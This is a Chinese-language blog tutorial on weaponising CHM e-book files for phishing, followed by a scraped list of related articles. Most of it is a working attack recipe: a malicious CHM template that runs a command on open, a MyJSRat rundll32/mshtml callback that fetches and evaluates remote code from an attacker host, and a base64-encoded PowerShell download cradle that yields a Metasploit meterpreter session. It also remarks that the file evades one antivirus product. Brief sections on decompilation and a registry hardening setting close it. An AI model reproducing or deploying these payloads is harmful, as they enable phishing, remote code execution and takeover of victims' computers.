钓鱼攻击之:CHM电子书钓鱼
钓鱼攻击之:CHM电子书钓鱼
1 CHM简介
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。因为使用方容便,形式多样也常被采用作为电子书的格式。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。
CHM支持JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起。
因为使用方便,形式多样,也被采用作为电子书的格式。
2 .Chm文件因何变得危险
.Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。
这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。也就是说,用户只要打开一次这类文件,里面包含的恶意代码就可能主动运行。这似乎给人一种感觉,即用户交互更少的时候,感染的机会反而更大。
3 CHM 后门的优点
- 因为电子书一般是在本地电脑域打开的,因此它所获得的权限也是本地电脑域的权限,所以比起网页木马的Internet域来,让木马获得执行的机会要简单的多,“不必使用漏洞”就可以执行!(Windows 2003除外,原因下面会说到)。
- 现在的网页木马由于影响力太大,一般的人上网都会小心三分提防的,且它依赖与漏洞,所以生存的空间正在逐渐缩小。与此相反的是电子书的火爆下载,使得电子书木马的传播能力、生存能力以及范围大大加强!
- 免网站维护,低成本
4 利用过程
4.1 准备工具
Payload项目地址,基于Python2编写的:Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)
Easy CHM下载地址:Easy CHM下载 Easy CHM(chm制作工具) 3.93 -脚本之家 (jb51.net)
恶意chm模板:
evil.html<!DOCTYPE html><html><head><title>忍不住点击的标题</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value='执行程序,Payload命令'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
- 注:
执行程序,Payload命令之间有个逗号,替换时不能少。
- 注:
4.2 制作恶意chm文件
生成恶意Payload,进入下载的Payload项目目录,执行以下命令:
# python2.7 MyJSRat.py -i 192.168.50.2 -p 4444
# 显示以下内容为正常运行
JSRat Server
By: Evi1cg
[*] Using interactive method! [*] Web Server Started on Port: 4444
[*] Awaiting Client Connection to: http://192.168.50.2:4444/connect
[*] Client Command at: http://192.168.50.2:4444/wtf
[*] Browser Hook Set at: http://192.168.50.2:4444/hook [-] Hit CTRL+C to Stop the Server at any time...
http://192.168.50.2:4444/connect:默认回连地址http://192.168.50.2:4444/wtf:访问此链接获取客户端执行代码http://192.168.50.2:4444/hook:浏览器hook链接,适用于某些版本的IE
访问
http://192.168.50.2:4444/wtf链接获取客户端执行代码rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
将生成的客户端执行代码,添加进恶意chm模板中:
evil.html<!DOCTYPE html><html><head><title>说明书</title><head></head><body> <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用Easy CHM软件,将
evil.html打包成chm文件诱使目标点开该文档,即可上线

使用火绒查杀试了下可以免杀,但会被windows Defender查杀

4.3 高级利用
当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。
开启
use exploit/multi/script/web_delivery,得到Payload如下:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.50.2:8081/');
由于存在特殊字符,我们需要将代码编码为base64格式:
将以下代码存入tmp.txt
$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.50.2:8081/');
编码为Base64:
# cat tmp.txt | iconv --to-code UTF-16LE | base64
JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
构造成最终执行的powershell命令为:
powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
使用执行命令模式直接获取meterpreter会话:
python MyJSRat.py -i 192.168.50.2 -p 4444 -c "powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA="
5 溯源
chm是可以反编译为html的。使用windows自带的hh.exe 则可进行反编译。命令如下:
hh -decompile test *.chm
# test 为当前目录的test文件夹
6 预防
修改本地安全属性,使其无法在本地电脑域环境中运行木马程序,相应的注册表键值为:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0下的1004项的值由原来的0改为十六进制的3如果你想详细修改本地电脑域的安全属性,可以把此同分支下的
Flags项的值由原来的十六进制21改为0,再打开IE浏览器“Internet 选项...”中的的“安全”标签,是不是多了一个“我的电脑”图标,便可以改改它的安全级别
7 参考
写完发现已经有大佬详细分析了:高级组合技打造“完美” 捆绑后门 | Evi1cg's blog
钓鱼攻击之:CHM电子书钓鱼的更多相关文章
- 支付SDK的安全问题——隐式意图可导致钓鱼攻击
该漏洞涉及到app所使用的intent和intent filter. intent是一个可用于从一个app组件请求动作或处理事件的“消息对象”.Intent负责对应用中一次操作的动作.动作涉及数据. ...
- pikachu练习平台(XSS-漏洞测试案例(cookie的窃取和利用、钓鱼攻击、XSS获取键盘记录))
XSS-漏洞测试案例 xss案例 1.cookie的窃取和利用 2.钓鱼攻击 3.XSS获取键盘记录 在进行案例之前首先要搭建xss后台 搭建xss后台 1.在pikachu文件夹下面,把pkxss单 ...
- CobaltStrike 生成office宏病毒进行钓鱼攻击
关于WORD宏: 在百度百科上有: 宏是一个批量处理程序命令,正确地运用它可以提高工作效率.微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力.如完打开word文 ...
- 风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击
风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候 ...
- 钓鱼攻击之远程加载恶意Word模版文件上线CS
0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...
- DNS欺骗:网站克隆实现网站钓鱼攻击
1 DNS 1.1 DNS是什么? 域名系统(Domain Name System)是互联网使用的命名系统,用来将主机域名转换为 ip 地址,属于应用层协议,使用 UDP 传输. 1.2 为什么需要D ...
- EasyCHM(CHM电子书制作工具) v3.84.545 绿色版
软件名称:EasyCHM(CHM电子书制作工具) v3.84.545 绿色版 软件语言: 简体中文 授权方式: 免费软件 运行环境: Win 32位/64位 软件大小: 2.78MB 图片预览: 软件 ...
- 如何自己制作CHM电子书?
软件介绍: EasyCHM 非常适合个人和单位制作高压缩比的有目录.索引,同时具有全文检索及高亮显示搜索结果的网页集锦.CHM格式的帮助文件.专业的产品说明书.公司介绍.文章集锦.CHM电子书等等. ...
- 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击
有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...
- 使用Wifi pineapple(菠萝派)进行Wi-Fi钓鱼攻击
简介: WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器. 特性: 用作 Wi-Fi 中间人攻击测试平台 一整套的针对 AP 的渗透测试套件 基于 WEB ...
随机推荐
- day42 6-5 springMVC调度器、ModelAndView、配置thymeleaf模板引擎 & 6-6 thymeleaf语法 & 6-7 springMVC拦截器 & 6-8 设置请求编码过滤器Filter
springMVC调度器 - DispatcherServlet - SpringMVC框架的入口 定义 DispatcherServlet成为调度器,配置在web.xml文件中,用于拦截匹配的请求. ...
- 【每日一题】【快速排序过程、循环过程无=、递归参数】2022年1月16日-NC140 排序
快速排序 对时间复杂度和空间复杂度有要求 方法1:快速排序-递归 import java.util.*; public class Solution { /** * 代码中的类名.方法名.参数名已经指 ...
- org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException
1.问题概述 将一个 springboot 项目打成 Jar 包后,在本地使用 java -jar 命令启动服务,服务能启动成功,但是会有如下报错信息. 说明: 配置文件为外置配置文件,与 jar 处 ...
- this关键字在JAVA和JS中的异同
this在JS中的用法 由于js中this 是在运行期进行绑定的,所以js中的 this 可以是全局对象.当前对象或者任意对象,这完全取决于函数的调用方式.JavaScript 中函数的调用有以下几种 ...
- mooc上的简单题,(疑惑已解决)
如题,在简单不过的题,在自己编译器上试了很多例子,输出结果都对.但是oj不给过:(已解决) 统计指定单词出现的次数(10分) 题目内容:输入6个单词,查找第6个单词在前5个单词中出现的次数. 输入:6 ...
- Docker的作用
绝大部分应用,开发者都可以通过docker build创建镜像,通过docker push上传镜像,用户通过docker pull下载镜像,用docker run运行应用. 用户不需要再去关心如何搭建 ...
- Vue快速上门(3)-组件与复用
VUE家族系列: Vue快速上门(1)-基础知识 Vue快速上门(2)-模板语法 Vue快速上门(3)-组件与复用 01.component组件 1.1.component基础知识 组件是可以复用的V ...
- 甜点cc的2022年回顾总结
每每到年底,总会感概时间飞逝,总会莫名的心慌几天. 高中时代我就明白了一个道理:自己决定做的事,就算结果再烂以后也不要后悔,因为那无异于否定过去的自己.人不能总是否定自己的过去,因为我觉得这样会打击自 ...
- DPDK编译与演示
环境 安装dpdk 安装依赖 环境配置 编译 遇到过的问题 dpdk使用 设置hugepage helloworld演示 遇到问题 timer演示 环境 虚拟机系统:ubuntu:1404 安装dpd ...
- 巧用视觉障眼法,还原 3D 文字特效
最近群里有这样一个有意思的问题,大家在讨论,使用 CSS 3D 能否实现如下所示的效果: 这里的核心难点在于,如何利用 CSS 实现一个立体的数字?CSS 能做到吗? 不是特别好实现,但是,如果仅仅只 ...